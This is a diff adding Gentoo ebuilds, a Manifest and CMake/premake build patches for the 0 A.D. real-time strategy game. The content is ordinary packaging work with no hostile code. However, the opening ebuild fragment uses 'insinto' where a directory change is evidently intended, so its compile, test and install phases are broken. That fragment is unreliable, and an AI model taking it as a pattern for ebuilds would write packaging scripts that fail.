+	else
+		UPDATE_ARGS="${UPDATE_ARGS} --without-nvtt"
+	fi
+
+	insinto "${S}/build/workspaces"
+	einfo "Running update-workspaces.sh with ${UPDATE_ARGS}"
+	./update-workspaces.sh ${UPDATE_ARGS} || die "update-workspaces.sh failed"
+	insinto gcc
+
+	TARGETS="pyrogenesis Collada"
+	if use test ; then
+		TARGETS="${TARGETS} test"
+	fi
+	if use editor ; then
+		TARGETS="${TARGETS} AtlasUI"
+	fi
+	if use debug ; then
+		CONFIG=Debug
+	else
+		CONFIG=Release
+	fi
+	CONFIG=${CONFIG} emake ${TARGETS} || die "Can't build"
+}
+
+src_test() {
+	insinto "${S}/binaries/system"
+	if use debug ; then
+		./test_dbg || die "Tests failed"
+	else
+		./test || die "Tests failed"
+	fi
+}
+
+src_install() {
+	insinto "${S}"/binaries
+	insinto "${dir}"
+	doins -r data || die "doins -r failed"
+
+	insinto "${dir}"/system
+
+	#we install build-in nvtt
+	if use !nvtt ; then
+		doins "${S}"/binaries/system/libnvcore.so || die "doins failed"
+		doins "${S}"/binaries/system/libnvimage.so || die "doins failed"
+		doins "${S}"/binaries/system/libnvmath.so || die "doins failed"
+		doins "${S}"/binaries/system/libnvtt.so || die "doins failed"
+	fi
+
+	if use debug ; then
+#		doins "${S}"/binaries/system/libmozjs185-ps-debug.so.1.0 || die "doins failed"
+		doins "${S}"/binaries/system/libCollada_dbg.so || die "doins failed"
+		if use editor ; then
+			doins "${S}"/binaries/system/libAtlasUI_dbg.so || die "doins failed"
+		fi
+		EXE_NAME=pyrogenesis_dbg
+	else
+#		doins "${S}"/binaries/system/libmozjs185-ps-release.so.1.0 || die "doins failed"
+		doins "${S}"/binaries/system/libCollada.so || die "doins failed"
+		if use editor ; then
+			doins "${S}"/binaries/system/libAtlasUI.so || die "doins failed"
+		fi
+		EXE_NAME=pyrogenesis
+	fi
+
+	exeinto "${dir}"/system
+	doexe "${S}"/binaries/system/${EXE_NAME} || die "doexe failed"
+
+	games_make_wrapper ${PN} ./system/${EXE_NAME} ${dir}
+	doicon "${S}"/build/resources/0ad.png
+	make_desktop_entry "${dir}"/system/${EXE_NAME} "0 A.D."
+
+	prepgamesdirs
+}
diff --git a/games-strategy/0ad/0ad-99999.ebuild b/games-strategy/0ad/0ad-99999.ebuild
new file mode 100644
index 00000000..aaa10c2e
--- /dev/null
+++ b/games-strategy/0ad/0ad-99999.ebuild
@@ -0,0 +1,115 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+WX_GTK_VER="2.8"
+
+inherit eutils subversion wxwidgets games
+
+MY_PV="r${PV%_*}-alpha"
+MY_P=${PN}-${MY_PV}
+
+DESCRIPTION="A free, real-time strategy game"
+HOMEPAGE="http://wildfiregames.com/0ad/"
+ESVN_REPO_URI="http://svn.wildfiregames.com/public/ps/trunk"
+
+LICENSE="GPL-2 LGPL-2.1 MIT CCPL-Attribution-ShareAlike-3.0 as-is"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="+audio +editor fam +pch test"
+
+RDEPEND="
+	~dev-lang/spidermonkey-1.8.5
+	dev-libs/boost
+	dev-libs/libxml2
+	media-gfx/nvidia-texture-tools
+	!games-strategy/0ad-data
+	media-libs/libpng:0
+	media-libs/libsdl[X,opengl,video]
+	net-libs/enet:1.3
+	net-misc/curl
+	sys-libs/zlib
+	virtual/jpeg
+	virtual/opengl
+	audio? ( media-libs/libogg
+		media-libs/libvorbis
+		media-libs/openal )
+	editor? ( x11-libs/wxGTK:$WX_GTK_VER[X,opengl] )
+	fam? ( virtual/fam )
+	"
+DEPEND="${RDEPEND}
+	virtual/pkgconfig
+	test? ( dev-lang/perl )"
+
+S=${WORKDIR}/trunk
+
+pkg_setup() {
+	games_pkg_setup
+
+	if ! use pch ; then
+		eerror "pch useflag is potentially broken"
+		eerror "see http://trac.wildfiregames.com/ticket/1313"
+	fi
+}
+
+src_unpack() {
+	subversion_src_unpack
+}
+
+src_configure() {
+	cd build/workspaces || die
+
+	# custom configure script
+	local myconf
+	use fam || myconf="--without-fam"
+	use pch || myconf="${myconf} --without-pch"
+	use test || myconf="${myconf} --without-tests"
+	use audio || myconf="${myconf} --without-audio"
+
+	# don't use bundled sources
+	./update-workspaces.sh \
+		--with-system-nvtt \
+		--with-system-enet \
+		--with-system-mozjs185 \
+		$(use_enable editor atlas) \
+		--bindir="${GAMES_BINDIR}" \
+		--libdir="$(games_get_libdir)"/${PN} \
+		--datadir="${GAMES_DATADIR}"/${PN} \
+		${myconf} || die
+}
+
+src_compile() {
+	emake -C build/workspaces/gcc verbose=1 || die
+}
+
+src_test() {
+	cd binaries/system || die
+	./test || die "test phase failed"
+}
+
+src_install() {
+	# data
+	insinto "${GAMES_DATADIR}"/${PN}
+	doins -r binaries/data/* || die
+
+	# bin
+	dogamesbin binaries/system/pyrogenesis || die
+
+	# libs
+	exeinto "$(games_get_libdir)"/${PN}
+	doexe binaries/system/libCollada.so || die
+	if use editor ; then
+		doexe binaries/system/libAtlasUI.so || die
+	fi
+
+	# other
+	dodoc binaries/system/readme.txt || die
+	doicon build/resources/${PN}.png || die
+	games_make_wrapper ${PN} "${GAMES_BINDIR}/pyrogenesis"
+	make_desktop_entry ${PN} ${PN} ${PN}
+
+	# permissions
+	prepgamesdirs
+}
diff --git a/games-strategy/0ad/Manifest b/games-strategy/0ad/Manifest
new file mode 100644
index 00000000..3e05d3e8
--- /dev/null
+++ b/games-strategy/0ad/Manifest
@@ -0,0 +1,11 @@
+AUX 11339_alpha_disable_nvtt.patch 0 SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e WHIRLPOOL 19fa61d75522a4669b44e39c1d2e1726c530232130d407f89afee0964997f7a73e83be698b288febcf88e3e03c4f0757ea8964e59b63d93708b138cc42a66eb3
+AUX premake-archless.patch 1560 SHA256 85fc1ad2ef098d181f26fd78038ad90f7e1e2e948fe903664747494d129a3083 SHA512 df4cedfa2709b248a257d0634ba2e1013cf517fb5e46cb6472a3e87782686a1d8aeb066b23eb3008434fd2108865a5c6dd15fb3964af9074a611ca7202e8d5b1 WHIRLPOOL 78e2b482769ac07c219eec0fe99210cb723b16ae2d414dd5dfe6dde6d874013e8f707c2d16404a0517517ca1754fc1f203e7d2b8d152b25fd5366dc82c959f75
+AUX premake-script-archless.patch 1582 SHA256 0904c211595919bab0367b5e86c218a01b42c96df4b49c47a03c125ed3a2aada SHA512 987c3ee5387e040dc3b1c492e4191fce1532f6b2eae288a15246fdaee8e17d81dbd7cdc524bdcc0036a32bfce11f4d6eae014d05d5dbba148eafbea0627498c8 WHIRLPOOL 0f906f81a139da1aedcf325cfa60c5de00bd76c40bf95b9206350721341fb93a3deb0e681e4900a0c343cc9ebf7ae5e21522b247e0c202bbbd86830467bf4b34
+AUX r11339_noCUDAdep.diff 11782 SHA256 b334acff6a9d122fbaec92bf9146c7fd9c54d0f0babcf36554e6114ec67ac9aa SHA512 bc1cfb546e7bd04a4e8c22dce23a9fba00339eb4e7cdfb16bb9ec304fed5c6347cd79f751d7381a150c778408808b0492ce51130c4fa1ce2231f1d44fa89d524 WHIRLPOOL ef329815d3fd8155c9d26a96d7c05e873737c10b1492cd1d817db4c23dee7118525744f1c3194902054f776a7fac5992d35a2aca22966252f1cf4fe646bf3c4d
+DIST 0ad-r11339-alpha-unix-build.tar.xz 8593664 SHA256 1e69bc02c1af1bfbe30244467761d13e1aaff164fe583d962cc8e13faf4a56cb
+DIST 0ad-r11339-alpha-unix-data.tar.xz 294663484 SHA256 ac4cb17478eed633e1b0c975b052706797628fac399147d6301c4001100170b4
+DIST 0ad-r11863-alpha-unix-build.tar.xz 8657204 SHA256 46c08d380ce098d3d8f577d04d602bb245dfbb7f7da7b1ad009e7a0d4751435f
+DIST 0ad-r11863-alpha-unix-data.tar.xz 310994700 SHA256 76702023402361d27b61eea37034b08e9e19b282e4cdd69954495d2dd087b90a
+EBUILD 0ad-11339.ebuild 3547 SHA256 30a65b31a9e1353c30b3a642f4437f0e4be440de15fd6eb1d2a79959ef279d66 SHA512 cab0a342c5d3c65aaebf282d990e65c6255ed5748ec54e51f87bf05d8cdd73b42e0126021d190e1abb3dece877124dc239dcf17043f34d9969847e247a17b177 WHIRLPOOL da04b4bb99647a8047ca44a901a95e67c940e3cf0979f0937d9acec92ab28b320081158e36356ef4f82383fac92063608a53e3c03059cf99c2b38d733ff80bb4
+EBUILD 0ad-11863.ebuild 3486 SHA256 f4351f00f0b233f368b8792c362156a54ef480ab41ed0772d051a8b49de8e5a7 SHA512 95e82f67d8e51f54cbd7646f74e94076df4860724fa8352ef788d05ad760c13b6755a846355281d2e543a06ee9258bf6c5605df59a76f4941632fd7be6371680 WHIRLPOOL be7ccc427e39bf7a99cbd9fd824b9ed2e534dc364ef935e2d76feea3db34eca3a93dedcbc71120e73df9452cfccdd36ce71d200fd0d0ab45a1b6954e73ac13c4
+EBUILD 0ad-99999.ebuild 2452 SHA256 0162fc58b4c74ec12012ab80289cdd0241238f26384a64b9c7432b443c6dd3b7 SHA512 1033f33deb6783baac775169f76b12a53617ac31454e86e3c4eb7642612f2c0bbe2a92544bba4a016fe6f77d856ecd091f48134387c1286e97f309e708b5584d WHIRLPOOL 46fac08559d6be536455f485916b8864c3150c1387712289ef0f2acdcb2527cee00d27f437c2d58b8a6c1414181d094a3312afd29098398daae68ec44d5f355e
diff --git a/games-strategy/0ad/files/11339_alpha_disable_nvtt.patch b/games-strategy/0ad/files/11339_alpha_disable_nvtt.patch
new file mode 100644
index 00000000..e69de29b
diff --git a/games-strategy/0ad/files/premake-archless.patch b/games-strategy/0ad/files/premake-archless.patch
new file mode 100644
index 00000000..2b87d048
--- /dev/null
+++ b/games-strategy/0ad/files/premake-archless.patch
@@ -0,0 +1,36 @@
+diff -Naur build/premake/premake4.orig/build/gmake.unix/Premake4.make build/premake/premake4/build/gmake.unix/Premake4.make
+--- build/premake/premake4.orig/build/gmake.unix/Premake4.make	2010-11-16 06:29:14.000000000 -0500
++++ build/premake/premake4/build/gmake.unix/Premake4.make	2011-04-18 07:24:59.374986001 -0400
+@@ -26,13 +26,12 @@
+   DEFINES   += -DNDEBUG -DLUA_USE_POSIX -DLUA_USE_DLOPEN
+   INCLUDES  += -I../../src/host/lua-5.1.4/src
+   CPPFLAGS  += -MMD -MP $(DEFINES) $(INCLUDES)
+-  CFLAGS    += $(CPPFLAGS) $(ARCH) -Wall -Os
+-  CXXFLAGS  += $(CFLAGS) 
+-  LDFLAGS   += -s -rdynamic
++  CFLAGS    += $(CPPFLAGS) -Wall
++  LDFLAGS   += -rdynamic
+   LIBS      += -lm -ldl
+   RESFLAGS  += $(DEFINES) $(INCLUDES) 
+   LDDEPS    += 
+-  LINKCMD    = $(CC) -o $(TARGET) $(OBJECTS) $(LDFLAGS) $(RESOURCES) $(ARCH) $(LIBS)
++  LINKCMD    = $(CC) -o $(TARGET) $(OBJECTS) $(LDFLAGS) $(RESOURCES) $(LIBS)
+   define PREBUILDCMDS
+   endef
+   define PRELINKCMDS
+@@ -48,13 +47,12 @@
+   DEFINES   += -D_DEBUG -DLUA_USE_POSIX -DLUA_USE_DLOPEN
+   INCLUDES  += -I../../src/host/lua-5.1.4/src
+   CPPFLAGS  += -MMD -MP $(DEFINES) $(INCLUDES)
+-  CFLAGS    += $(CPPFLAGS) $(ARCH) -Wall -g
+-  CXXFLAGS  += $(CFLAGS) 
++  CFLAGS    += $(CPPFLAGS) -Wall -g
+   LDFLAGS   += -rdynamic
+   LIBS      += -lm -ldl
+   RESFLAGS  += $(DEFINES) $(INCLUDES) 
+   LDDEPS    += 
+-  LINKCMD    = $(CC) -o $(TARGET) $(OBJECTS) $(LDFLAGS) $(RESOURCES) $(ARCH) $(LIBS)
++  LINKCMD    = $(CC) -o $(TARGET) $(OBJECTS) $(LDFLAGS) $(RESOURCES) $(LIBS)
+   define PREBUILDCMDS
+   endef
+   define PRELINKCMDS
diff --git a/games-strategy/0ad/files/premake-script-archless.patch b/games-strategy/0ad/files/premake-script-archless.patch
new file mode 100644
index 00000000..7195feb9
--- /dev/null
+++ b/games-strategy/0ad/files/premake-script-archless.patch
@@ -0,0 +1,31 @@
+--- build/premake/premake4/src/actions/make/make_cpp.lua.orig	2011-12-17 20:59:29.000000000 +0800
++++ build/premake/premake4/src/actions/make/make_cpp.lua	2011-12-25 07:27:40.268759001 +0800
+@@ -248,7 +248,7 @@
+ 		-- set up precompiled headers
+ 		_.pchconfig(cfg)
+ 				
+-		_p('  CFLAGS    += $(CPPFLAGS) $(ARCH) %s', table.concat(table.join(cc.getcflags(cfg), cfg.buildoptions), " "))
++		_p('  CFLAGS    += $(CPPFLAGS) %s', table.concat(table.join(cc.getcflags(cfg), cfg.buildoptions), " "))
+ 		_p('  CXXFLAGS  += $(CFLAGS) %s', table.concat(cc.getcxxflags(cfg), " "))
+ 		_p('  LDFLAGS   += %s', table.concat(table.join(cc.getldflags(cfg), cfg.linkoptions, cc.getlibdirflags(cfg)), " "))
+ 		_p('  LIBS      += %s %s', table.concat(cc.getlinkflags(cfg), " "), table.concat(cfg.gnuexternals, " "))
+@@ -272,7 +272,7 @@
+ 			else
+ 				lddeps = '-Xlinker --start-group $(LDDEPS) -Xlinker --end-group'
+ 			end
+-			_p('  LINKCMD    = $(%s) -o $(TARGET) $(OBJECTS) $(LDFLAGS) $(RESOURCES) $(ARCH) %s $(LIBS)', 
++			_p('  LINKCMD    = $(%s) -o $(TARGET) $(OBJECTS) $(LDFLAGS) $(RESOURCES) %s $(LIBS)', 
+ 			iif(cfg.language == "C", "CC", "CXX"), lddeps)
+ 		end
+ 		
+--- build/workspaces/update-workspaces.sh.orig	2011-11-15 00:10:41.000000000 +0800
++++ build/workspaces/update-workspaces.sh	2011-12-25 07:30:39.729759000 +0800
+@@ -62,6 +62,8 @@
+ # Now build premake and run it to create the makefiles
+ cd ../premake/premake4
+ make -C build/gmake.unix ${JOBS} || die "Premake build failed"
++./bin/release/premake4 embed
++make -C build/gmake.unix ${JOBS} || die "Premake build failed"
+ 
+ echo
+ 
diff --git a/games-strategy/0ad/files/r11339_noCUDAdep.diff b/games-strategy/0ad/files/r11339_noCUDAdep.diff
new file mode 100644
index 00000000..f002c823
--- /dev/null
+++ b/games-strategy/0ad/files/r11339_noCUDAdep.diff
@@ -0,0 +1,366 @@
+Index: /ps/trunk/libraries/nvtt/src/src/nvimage/CMakeLists.txt
+===================================================================
+--- /ps/trunk/libraries/nvtt/src/src/nvimage/CMakeLists.txt	(revision 11501)
++++ /ps/trunk/libraries/nvtt/src/src/nvimage/CMakeLists.txt	(revision 11502)
+@@ -63,6 +63,6 @@
+ 
+ INSTALL(TARGETS nvimage
+-	RUNTIME DESTINATION bin
+-	LIBRARY DESTINATION lib
+-	ARCHIVE DESTINATION lib/static)
++	RUNTIME DESTINATION ${BINDIR}
++	LIBRARY DESTINATION ${LIBDIR} 
++	ARCHIVE DESTINATION ${LIBDIR})
+ 
+Index: /ps/trunk/libraries/nvtt/src/src/nvtt/CMakeLists.txt
+===================================================================
+--- /ps/trunk/libraries/nvtt/src/src/nvtt/CMakeLists.txt	(revision 11501)
++++ /ps/trunk/libraries/nvtt/src/src/nvtt/CMakeLists.txt	(revision 11502)
+@@ -58,7 +58,7 @@
+ 
+ INSTALL(TARGETS nvtt 
+-	RUNTIME DESTINATION bin
+-	LIBRARY DESTINATION lib
+-	ARCHIVE DESTINATION lib/static)
++	RUNTIME DESTINATION ${BINDIR}
++	LIBRARY DESTINATION ${LIBDIR}
++	ARCHIVE DESTINATION ${LIBDIR})
+ 
+ INSTALL(FILES nvtt.h DESTINATION include/nvtt)
+Index: /ps/trunk/libraries/nvtt/src/src/nvcore/CMakeLists.txt
+===================================================================
+--- /ps/trunk/libraries/nvtt/src/src/nvcore/CMakeLists.txt	(revision 11501)
++++ /ps/trunk/libraries/nvtt/src/src/nvcore/CMakeLists.txt	(revision 11502)
+@@ -43,5 +43,5 @@
+ 
+ INSTALL(TARGETS nvcore
+-	RUNTIME DESTINATION bin
+-	LIBRARY DESTINATION lib
+-	ARCHIVE DESTINATION lib/static)
++	RUNTIME DESTINATION ${BINDIR}
++	LIBRARY DESTINATION ${LIBDIR}
++	ARCHIVE DESTINATION ${LIBDIR})
+Index: /ps/trunk/libraries/nvtt/src/src/CMakeLists.txt
+===================================================================
+--- /ps/trunk/libraries/nvtt/src/src/CMakeLists.txt	(revision 11501)
++++ /ps/trunk/libraries/nvtt/src/src/CMakeLists.txt	(revision 11502)
+@@ -6,4 +6,11 @@
+ 
+ INCLUDE_DIRECTORIES(${CMAKE_CURRENT_SOURCE_DIR} ${CMAKE_CURRENT_BINARY_DIR})
++
++# initial variables
++SET(GLUT TRUE CACHE BOOL "")
++SET(GLEW TRUE CACHE BOOL "")
++SET(CG TRUE CACHE BOOL "")
++SET(CUDA TRUE CACHE BOOL "")
++SET(OPENEXR TRUE CACHE BOOL "")
+ 
+ # OpenGL
+@@ -16,11 +23,13 @@
+ 
+ # GLUT
+-INCLUDE(${NV_CMAKE_DIR}/FindGLUT.cmake)
+-#INCLUDE(FindGLUT)
+-IF(GLUT_FOUND)
+-	MESSAGE(STATUS "Looking for GLUT - found")
+-ELSE(GLUT_FOUND)
+-	MESSAGE(STATUS "Looking for GLUT - not found")
+-ENDIF(GLUT_FOUND)
++IF(GLUT)
++	INCLUDE(${NV_CMAKE_DIR}/FindGLUT.cmake)
++	#INCLUDE(FindGLUT)
++	IF(GLUT_FOUND)
++		MESSAGE(STATUS "Looking for GLUT - found")
++	ELSE(GLUT_FOUND)
++		MESSAGE(STATUS "Looking for GLUT - not found")
++	ENDIF(GLUT_FOUND)
++ENDIF(GLUT)
+ 
+ # DirectX
+@@ -33,27 +42,33 @@
+ 
+ # GLEW
+-INCLUDE(${NV_CMAKE_DIR}/FindGLEW.cmake)
+-IF(GLEW_FOUND)
+-	MESSAGE(STATUS "Looking for GLEW - found")
+-ELSE(GLEW_FOUND)
+-	MESSAGE(STATUS "Looking for GLEW - not found")
+-ENDIF(GLEW_FOUND)
++IF(GLEW)
++	INCLUDE(${NV_CMAKE_DIR}/FindGLEW.cmake)
++	IF(GLEW_FOUND)
++		MESSAGE(STATUS "Looking for GLEW - found")
++	ELSE(GLEW_FOUND)
++		MESSAGE(STATUS "Looking for GLEW - not found")
++	ENDIF(GLEW_FOUND)
++ENDIF(GLEW)
+ 
+ # Cg
+-INCLUDE(${NV_CMAKE_DIR}/FindCg.cmake)
+-IF(CG_FOUND)
+-	MESSAGE(STATUS "Looking for Cg - found")
+-ELSE(CG_FOUND)
+-	MESSAGE(STATUS "Looking for Cg - not found")
+-ENDIF(CG_FOUND)
++IF(CG)
++	INCLUDE(${NV_CMAKE_DIR}/FindCg.cmake)
++	IF(CG_FOUND)
++		MESSAGE(STATUS "Looking for Cg - found")
++	ELSE(CG_FOUND)
++		MESSAGE(STATUS "Looking for Cg - not found")
++	ENDIF(CG_FOUND)
++ENDIF(CG)
+ 
+ # CUDA
+-INCLUDE(${NV_CMAKE_DIR}/FindCUDA.cmake)
+-IF(CUDA_FOUND)
+-	SET(HAVE_CUDA ${CUDA_FOUND} CACHE BOOL "Set to TRUE if CUDA is found, FALSE otherwise")
+-	MESSAGE(STATUS "Looking for CUDA - found")
+-ELSE(CUDA_FOUND)
+-	MESSAGE(STATUS "Looking for CUDA - not found")
+-ENDIF(CUDA_FOUND)
++IF(CUDA)
++	INCLUDE(${NV_CMAKE_DIR}/FindCUDA.cmake)
++	IF(CUDA_FOUND)
++		SET(HAVE_CUDA ${CUDA_FOUND} CACHE BOOL "Set to TRUE if CUDA is found, FALSE otherwise")
++		MESSAGE(STATUS "Looking for CUDA - found")
++	ELSE(CUDA_FOUND)
++		MESSAGE(STATUS "Looking for CUDA - not found")
++	ENDIF(CUDA_FOUND)
++ENDIF(CUDA)
+ 
+ # Maya
+@@ -94,11 +109,13 @@
+ 
+ # OpenEXR
+-INCLUDE(${NV_CMAKE_DIR}/FindOpenEXR.cmake)
+-IF(OPENEXR_FOUND)
+-	SET(HAVE_OPENEXR ${OPENEXR_FOUND} CACHE BOOL "Set to TRUE if OpenEXR is found, FALSE otherwise")
+-	MESSAGE(STATUS "Looking for OpenEXR - found")
+-ELSE(OPENEXR_FOUND)
+-	MESSAGE(STATUS "Looking for OpenEXR - not found")
+-ENDIF(OPENEXR_FOUND)
++IF(OPENEXR)
++	INCLUDE(${NV_CMAKE_DIR}/FindOpenEXR.cmake)
++	IF(OPENEXR_FOUND)
++		SET(HAVE_OPENEXR ${OPENEXR_FOUND} CACHE BOOL "Set to TRUE if OpenEXR is found, FALSE otherwise")
++		MESSAGE(STATUS "Looking for OpenEXR - found")
++	ELSE(OPENEXR_FOUND)
++		MESSAGE(STATUS "Looking for OpenEXR - not found")
++	ENDIF(OPENEXR_FOUND)
++ENDIF(OPENEXR)
+ 
+ # Qt
+Index: /ps/trunk/libraries/nvtt/src/src/nvmath/CMakeLists.txt
+===================================================================
+--- /ps/trunk/libraries/nvtt/src/src/nvmath/CMakeLists.txt	(revision 11501)
++++ /ps/trunk/libraries/nvtt/src/src/nvmath/CMakeLists.txt	(revision 11502)
+@@ -29,5 +29,5 @@
+ 
+ INSTALL(TARGETS nvmath
+-	RUNTIME DESTINATION bin
+-	LIBRARY DESTINATION lib
+-	ARCHIVE DESTINATION lib/static)
++	RUNTIME DESTINATION ${BINDIR}
++	LIBRARY DESTINATION ${LIBDIR}
++	ARCHIVE DESTINATION ${LIBDIR})
+Index: /ps/trunk/libraries/nvtt/cmake-devflags.patch
+===================================================================
+--- /ps/trunk/libraries/nvtt/cmake-devflags.patch	(revision 11502)
++++ /ps/trunk/libraries/nvtt/cmake-devflags.patch	(revision 11502)
+@@ -0,0 +1,176 @@
++From: hasufell <julian.ospald@googlemail.com>
++Date: Wed Apr 11 21:49:58 UTC 2012
++Subject: various cmake fixes
++
++fix hardcoded install paths for BINDIR and LIBDIR
++make cg, cuda, glew, glut and openexr controllable and not automagic
++
++--- src/nvcore/CMakeLists.txt
+++++ src/nvcore/CMakeLists.txt
++@@ -42,6 +42,6 @@
++ TARGET_LINK_LIBRARIES(nvcore ${LIBS})
++ 
++ INSTALL(TARGETS nvcore
++-	RUNTIME DESTINATION bin
++-	LIBRARY DESTINATION lib
++-	ARCHIVE DESTINATION lib/static)
+++	RUNTIME DESTINATION ${BINDIR}
+++	LIBRARY DESTINATION ${LIBDIR}
+++	ARCHIVE DESTINATION ${LIBDIR})
++--- src/nvimage/CMakeLists.txt
+++++ src/nvimage/CMakeLists.txt
++@@ -62,7 +62,7 @@
++ TARGET_LINK_LIBRARIES(nvimage ${LIBS} nvcore nvmath posh)
++ 
++ INSTALL(TARGETS nvimage
++-	RUNTIME DESTINATION bin
++-	LIBRARY DESTINATION lib
++-	ARCHIVE DESTINATION lib/static)
+++	RUNTIME DESTINATION ${BINDIR}
+++	LIBRARY DESTINATION ${LIBDIR} 
+++	ARCHIVE DESTINATION ${LIBDIR})
++ 
++--- src/nvmath/CMakeLists.txt
+++++ src/nvmath/CMakeLists.txt
++@@ -28,6 +28,6 @@
++ TARGET_LINK_LIBRARIES(nvmath ${LIBS} nvcore)
++ 
++ INSTALL(TARGETS nvmath
++-	RUNTIME DESTINATION bin
++-	LIBRARY DESTINATION lib
++-	ARCHIVE DESTINATION lib/static)
+++	RUNTIME DESTINATION ${BINDIR}
+++	LIBRARY DESTINATION ${LIBDIR}
+++	ARCHIVE DESTINATION ${LIBDIR})
++--- src/nvtt/CMakeLists.txt
+++++ src/nvtt/CMakeLists.txt
++@@ -53,9 +53,9 @@
++ TARGET_LINK_LIBRARIES(nvtt ${LIBS} nvcore nvmath nvimage squish)
++ 
++ INSTALL(TARGETS nvtt 
++-	RUNTIME DESTINATION bin
++-	LIBRARY DESTINATION lib
++-	ARCHIVE DESTINATION lib/static)
+++	RUNTIME DESTINATION ${BINDIR}
+++	LIBRARY DESTINATION ${LIBDIR}
+++	ARCHIVE DESTINATION ${LIBDIR})
++ 
++ INSTALL(FILES nvtt.h DESTINATION include/nvtt)
++ 
++--- src/CMakeLists.txt
+++++ src/CMakeLists.txt
++@@ -5,6 +5,13 @@
++ SUBDIRS(nvtt)
++ 
++ INCLUDE_DIRECTORIES(${CMAKE_CURRENT_SOURCE_DIR} ${CMAKE_CURRENT_BINARY_DIR})
+++
+++# initial variables
+++SET(GLUT TRUE CACHE BOOL "")
+++SET(GLEW TRUE CACHE BOOL "")
+++SET(CG TRUE CACHE BOOL "")
+++SET(CUDA TRUE CACHE BOOL "")
+++SET(OPENEXR TRUE CACHE BOOL "")
++ 
++ # OpenGL
++ INCLUDE(FindOpenGL)
++@@ -15,13 +22,15 @@
++ ENDIF(OPENGL_FOUND)
++ 
++ # GLUT
++-INCLUDE(${NV_CMAKE_DIR}/FindGLUT.cmake)
++-#INCLUDE(FindGLUT)
++-IF(GLUT_FOUND)
++-	MESSAGE(STATUS "Looking for GLUT - found")
++-ELSE(GLUT_FOUND)
++-	MESSAGE(STATUS "Looking for GLUT - not found")
++-ENDIF(GLUT_FOUND)
+++IF(GLUT)
+++	INCLUDE(${NV_CMAKE_DIR}/FindGLUT.cmake)
+++	#INCLUDE(FindGLUT)
+++	IF(GLUT_FOUND)
+++		MESSAGE(STATUS "Looking for GLUT - found")
+++	ELSE(GLUT_FOUND)
+++		MESSAGE(STATUS "Looking for GLUT - not found")
+++	ENDIF(GLUT_FOUND)
+++ENDIF(GLUT)
++ 
++ # DirectX
++ INCLUDE(${NV_CMAKE_DIR}/FindDirectX.cmake)
++@@ -32,29 +41,35 @@
++ ENDIF(DX10_FOUND)
++ 
++ # GLEW
++-INCLUDE(${NV_CMAKE_DIR}/FindGLEW.cmake)
++-IF(GLEW_FOUND)
++-	MESSAGE(STATUS "Looking for GLEW - found")
++-ELSE(GLEW_FOUND)
++-	MESSAGE(STATUS "Looking for GLEW - not found")
++-ENDIF(GLEW_FOUND)
+++IF(GLEW)
+++	INCLUDE(${NV_CMAKE_DIR}/FindGLEW.cmake)
+++	IF(GLEW_FOUND)
+++		MESSAGE(STATUS "Looking for GLEW - found")
+++	ELSE(GLEW_FOUND)
+++		MESSAGE(STATUS "Looking for GLEW - not found")
+++	ENDIF(GLEW_FOUND)
+++ENDIF(GLEW)
++ 
++ # Cg
++-INCLUDE(${NV_CMAKE_DIR}/FindCg.cmake)
++-IF(CG_FOUND)
++-	MESSAGE(STATUS "Looking for Cg - found")
++-ELSE(CG_FOUND)
++-	MESSAGE(STATUS "Looking for Cg - not found")
++-ENDIF(CG_FOUND)
+++IF(CG)
+++	INCLUDE(${NV_CMAKE_DIR}/FindCg.cmake)
+++	IF(CG_FOUND)
+++		MESSAGE(STATUS "Looking for Cg - found")
+++	ELSE(CG_FOUND)
+++		MESSAGE(STATUS "Looking for Cg - not found")
+++	ENDIF(CG_FOUND)
+++ENDIF(CG)
++ 
++ # CUDA
++-INCLUDE(${NV_CMAKE_DIR}/FindCUDA.cmake)
++-IF(CUDA_FOUND)
++-	SET(HAVE_CUDA ${CUDA_FOUND} CACHE BOOL "Set to TRUE if CUDA is found, FALSE otherwise")
++-	MESSAGE(STATUS "Looking for CUDA - found")
++-ELSE(CUDA_FOUND)
++-	MESSAGE(STATUS "Looking for CUDA - not found")
++-ENDIF(CUDA_FOUND)
+++IF(CUDA)
+++	INCLUDE(${NV_CMAKE_DIR}/FindCUDA.cmake)
+++	IF(CUDA_FOUND)
+++		SET(HAVE_CUDA ${CUDA_FOUND} CACHE BOOL "Set to TRUE if CUDA is found, FALSE otherwise")
+++		MESSAGE(STATUS "Looking for CUDA - found")
+++	ELSE(CUDA_FOUND)
+++		MESSAGE(STATUS "Looking for CUDA - not found")
+++	ENDIF(CUDA_FOUND)
+++ENDIF(CUDA)
++ 
++ # Maya
++ INCLUDE(${NV_CMAKE_DIR}/FindMaya.cmake)
++@@ -93,13 +108,15 @@
++ ENDIF(TIFF_FOUND)
++ 
++ # OpenEXR
++-INCLUDE(${NV_CMAKE_DIR}/FindOpenEXR.cmake)
++-IF(OPENEXR_FOUND)
++-	SET(HAVE_OPENEXR ${OPENEXR_FOUND} CACHE BOOL "Set to TRUE if OpenEXR is found, FALSE otherwise")
++-	MESSAGE(STATUS "Looking for OpenEXR - found")
++-ELSE(OPENEXR_FOUND)
++-	MESSAGE(STATUS "Looking for OpenEXR - not found")
++-ENDIF(OPENEXR_FOUND)
+++IF(OPENEXR)
+++	INCLUDE(${NV_CMAKE_DIR}/FindOpenEXR.cmake)
+++	IF(OPENEXR_FOUND)
+++		SET(HAVE_OPENEXR ${OPENEXR_FOUND} CACHE BOOL "Set to TRUE if OpenEXR is found, FALSE otherwise")
+++		MESSAGE(STATUS "Looking for OpenEXR - found")
+++	ELSE(OPENEXR_FOUND)
+++		MESSAGE(STATUS "Looking for OpenEXR - not found")
+++	ENDIF(OPENEXR_FOUND)
+++ENDIF(OPENEXR)
++ 
++ # Qt
++ FIND_PACKAGE(Qt4)
+Index: /ps/trunk/libraries/nvtt/build.sh
+===================================================================
+--- /ps/trunk/libraries/nvtt/build.sh	(revision 11501)
++++ /ps/trunk/libraries/nvtt/build.sh	(revision 11502)
+@@ -12,5 +12,5 @@
+ cd src/build/
+ 
+-cmake .. -DNVTT_SHARED=1 -DCMAKE_BUILD_TYPE=Release -G "Unix Makefiles"
